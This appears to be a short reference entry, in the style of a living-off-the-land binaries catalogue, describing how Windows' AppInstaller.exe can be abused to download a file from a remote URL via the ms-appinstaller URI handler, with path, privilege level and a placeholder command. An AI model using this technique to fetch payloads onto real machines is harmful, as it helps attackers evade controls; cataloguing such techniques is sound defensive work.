AppInstaller.exe

Tool used for installation of AppX/MSIX applications on Windows 10

Paths

  • C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe

Commands

Download

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

Use case: Download file from Internet

Privileges: User

start ms-appinstaller://?source={REMOTEURL:.exe}

Detection

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